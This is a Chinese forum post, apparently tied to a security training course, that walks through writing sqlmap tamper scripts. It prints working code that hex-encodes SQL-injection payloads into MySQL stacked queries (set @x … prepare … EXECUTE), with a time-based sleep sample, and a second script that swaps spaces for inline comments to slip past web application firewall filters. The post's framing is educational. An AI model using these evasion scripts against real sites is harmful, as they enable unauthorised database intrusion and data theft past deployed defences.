这边是看了聂风老师的九月擂台赛的课程之后想到的写这篇文章
当时聂风老师没有详细解释那个脚本
这不机会就来了嘛
直接看风哥的脚本
其中对于sqlmap来说
def tamper(paylod,**kwargs):
这句前面的都是默认的
dependencies()函数是用来定义该脚本不适用的情况
一般情况下为空即可,也就是写个pass
最主要的函数就是我们的tamper()了
#!/usr/bin/env python
import sys
"""
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import string
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST
def dependencies():
pass
def tamper(payload, **kwargs):
payload = 'select 1'+payload
payload =payload.encode().hex()
payload = '1;set @x=0x'+payload+';prepare a from @x;EXECUTE a;'
return payload
代码为什么这么写我就不多说了
想了解的可以直接去看风哥当时讲的课
https://ke.qq.com/webcourse/index.html#cid=275794&term_id=100326238&taid=12069897484121426&type=1024&vid=3701925925247626342
函数里面的第一句,是一个拼接
将原本sqlmap的payload和 select 1拼接起来
生成新的payload
第二句是将其转换为16进制 hex编码
第三句再次拼接
def tamper(payload, **kwargs):
payload = 'select 1'+payload
payload =payload.encode('hex')
payload = '1;set @x=0x'+payload+';prepare a from @x;EXECUTE a;'
return payload
我们设置一下sqlmap代理,看看为什么要这么写
将其url解码一下
我们可以看到,id=1是我们传入的url中带有的,而后面的Payload则是用AND连接起来的
这时候我们翻回去看看擂台赛中的Payload是什么样的
1;set @x=0x73656c65637420736c65657028313029;prepare a from @x;EXECUTE a;
@x的值为 select sleep(10)
而sqlmap的自带payload是用AND连接的
那么如果直接把自带Payload进行Hex编码
@x内的值如果作为sql代码执行就会报错,不会执行
所以代码中第一句需要用 select 1 和其拼接
第二第三句都好理解
将select 1 AND sleep(10)进行HEX编码
再将其塞入到正常的payload中
风哥的脚本是python2的
想让python3也能用
就需要把第二句
payload =payload.encode(‘hex’)
改为
payload =payload.encode().hex()
即可
懂得原理之后,我们也可以根据盲注的类型
自己去写一个脚本
来节约时间
例如
有些网站防火墙会过滤
union select
这样的组合
那么我们就可以将空格替换为/—/
那么脚本如下
#!/usr/bin/env python
import sys
"""
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import string
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST
def dependencies():
pass
def tamper(payload, **kwargs):
payload = payload.replace(' ','/*--*/')
return payload
其中,需要我们修改的地方只有函数tamper()里面的内容
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
叹城 | 1.00 | 0 | 2021-10-29 14:02:34 | 一个受益终生的帖子~~ |
ZKAQ-枫 | 5.00 | 0 | 2021-10-23 21:09:18 | 一个受益终生的帖子~~ |
Track-劲夫 | 20.00 | 0 | 2021-10-23 14:02:05 | 一个受益终生的帖子~~ |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.